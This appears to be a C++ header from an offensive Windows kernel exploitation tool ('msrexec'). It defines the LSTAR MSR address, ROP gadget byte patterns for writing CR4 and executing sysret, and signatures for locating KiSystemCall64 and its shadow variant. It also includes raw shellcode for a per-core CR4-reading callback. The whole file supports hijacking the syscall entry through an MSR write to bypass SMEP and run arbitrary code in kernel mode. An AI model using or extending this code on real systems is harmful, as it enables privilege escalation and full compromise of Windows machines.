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87 lines
2.8 KiB
87 lines
2.8 KiB
#pragma once
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#include "utils.hpp"
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#include "syscall_handler.h"
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#include <intrin.h>
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#define IA32_LSTAR_MSR 0xC0000082
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#define MOV_CR4_GADGET "\x0F\x22\xE1\xC3"
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#define POP_RCX_GADGET "\x59\xc3"
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#define SYSRET_GADGET "\x48\x0F\x07"
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// not sure how far back this signature goes... works on 1507 though....
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#define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B\x65\xFF\x34\x25\x00\x00\x00\x00\x41\x53\x6A\x00\x51\x49\x8B\xCA"
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#define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xxxxxx????xxx?xxxx"
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static_assert(sizeof KI_SYSCALL_SIG == sizeof KI_SYSCALL_MASK, "signature/mask invalid size...");
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#define KI_SYSCALL_SHADOW_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x65\x0F\xBA\x24\x25\x00\x00\x00\x00\x00\x72\x03\x0F\x22\xDC"
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#define KI_SYSCALL_SHADOW_MASK "xxxxxxxx????xxxxx????xxxxx?????xxxxx"
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static_assert(sizeof KI_SYSCALL_SHADOW_SIG == sizeof KI_SYSCALL_SHADOW_MASK);
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using get_system_routine_t = void* (*)(void*, const char*);
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using callback_t = std::function<void(void*, get_system_routine_t)>;
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using thread_info_t = std::pair<std::uint32_t, std::uint32_t>;
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using writemsr_t = std::function<bool(std::uint32_t, std::uintptr_t)>;
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struct _ipi_data
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{
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std::uint32_t core_num;
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std::uint64_t cr4_val;
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};
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using ex_alloc_t = void* (*)(unsigned, unsigned);
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using ex_free_t = void (*)(void*);
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using ipi_call_t = void (*)(void*, _ipi_data*);
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extern "C" void msrexec_handler(callback_t* callback);
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inline get_system_routine_t get_system_routine = nullptr;
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inline void* ntoskrnl_base = nullptr;
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/*
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// this gets copied into a kernel pool
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// so all cores can execute it...
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void ipi_callback(_ipi_data* ipi_data)
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{
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cpuid_eax_01 cpuid_info;
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__cpuid((int*)&cpuid_info, 1);
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const auto cpuid_num =
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cpuid_info
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.cpuid_additional_information
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.initial_apic_id;
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if (ipi_data->core_num == cpuid_num)
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return;
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ipi_data->cr4_val = __readcr4();
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}
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*/
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inline std::uint8_t ipi_callback[] =
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{
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0x48, 0x89, 0x4C, 0x24, 0x08, 0x53, 0x48, 0x83, 0xEC, 0x20, 0xB8, 0x01,
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0x00, 0x00, 0x00, 0x33, 0xC9, 0x0F, 0xA2, 0x4C, 0x8D, 0x44, 0x24, 0x08,
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0x41, 0x89, 0x00, 0x41, 0x89, 0x58, 0x04, 0x41, 0x89, 0x48, 0x08, 0x41,
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0x89, 0x50, 0x0C, 0x8B, 0x44, 0x24, 0x0C, 0xC1, 0xE8, 0x18, 0x25, 0xFF,
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0x00, 0x00, 0x00, 0x89, 0x04, 0x24, 0x48, 0x8B, 0x44, 0x24, 0x30, 0x8B,
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0x0C, 0x24, 0x39, 0x08, 0x75, 0x02, 0xEB, 0x0C, 0x0F, 0x20, 0xE0, 0x48,
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0x8B, 0x4C, 0x24, 0x30, 0x48, 0x89, 0x41, 0x08, 0x48, 0x83, 0xC4, 0x20,
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0x5B, 0xC3
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};
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namespace vdm
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{
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class msrexec_ctx
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{
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public:
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explicit msrexec_ctx(writemsr_t wrmsr);
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void exec(callback_t kernel_callback);
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void set_wrmsr(writemsr_t wrmsr);
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auto get_wrmsr() -> writemsr_t const;
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private:
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auto guess_cr4_value()->cr4;
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auto find_gadgets() -> bool;
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auto find_globals() -> bool;
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writemsr_t wrmsr;
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};
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} |